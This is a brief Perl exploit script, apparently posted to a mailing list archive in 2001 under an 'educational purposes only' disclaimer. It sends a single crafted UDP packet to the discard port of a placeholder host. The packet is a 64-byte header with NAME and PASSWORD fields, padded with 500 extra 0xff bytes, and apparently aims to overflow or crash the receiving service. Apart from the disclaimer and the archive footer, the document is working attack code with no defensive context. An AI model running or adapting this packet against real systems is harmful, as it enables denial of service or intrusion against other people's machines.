# NOTE: This program is NOT to be used for malicous purposes. This is
# intenteded for educational purposes only. By using this
program
# you agree to use this for lawfull purposes ONLY.
#!/usr/local/bin/perl
$| = 1;
use IO::Socket;
use Socket;
$sock = IO::Socket::INET->new(PeerPort => 'discard(9)',PeerAddr =>
'host.domain', Proto => 'udp') or die "Socket:$!";
$msg = pack("c64",
0x00, 0x00, 0x07, 0xa2, 0x08, 0x12, 0xcc, 0xfd, 0xa4, 0x81, 0x00, 0x00,
0x00, 0x00, 0x12, 0x34, 0x56, 0x78, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0x00, 0x4e, 0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0x4e,
0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0xff, 0x50, 0x41, 0x53, 0x53,
0x57, 0x4f, 0x52, 0x44, 0x50, 0x41, 0x53, 0x53, 0x57, 0x4f, 0x52, 0x44,
0x50, 0x41, 0x53, 0x53);
for ($i=0; $i<500; $i++) {
$msg .= pack("c1", 0xff);
}
$sock->send($msg) || die "send:$!";
print "Message sent\n";
$sock->close();
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 13:46:27 PDT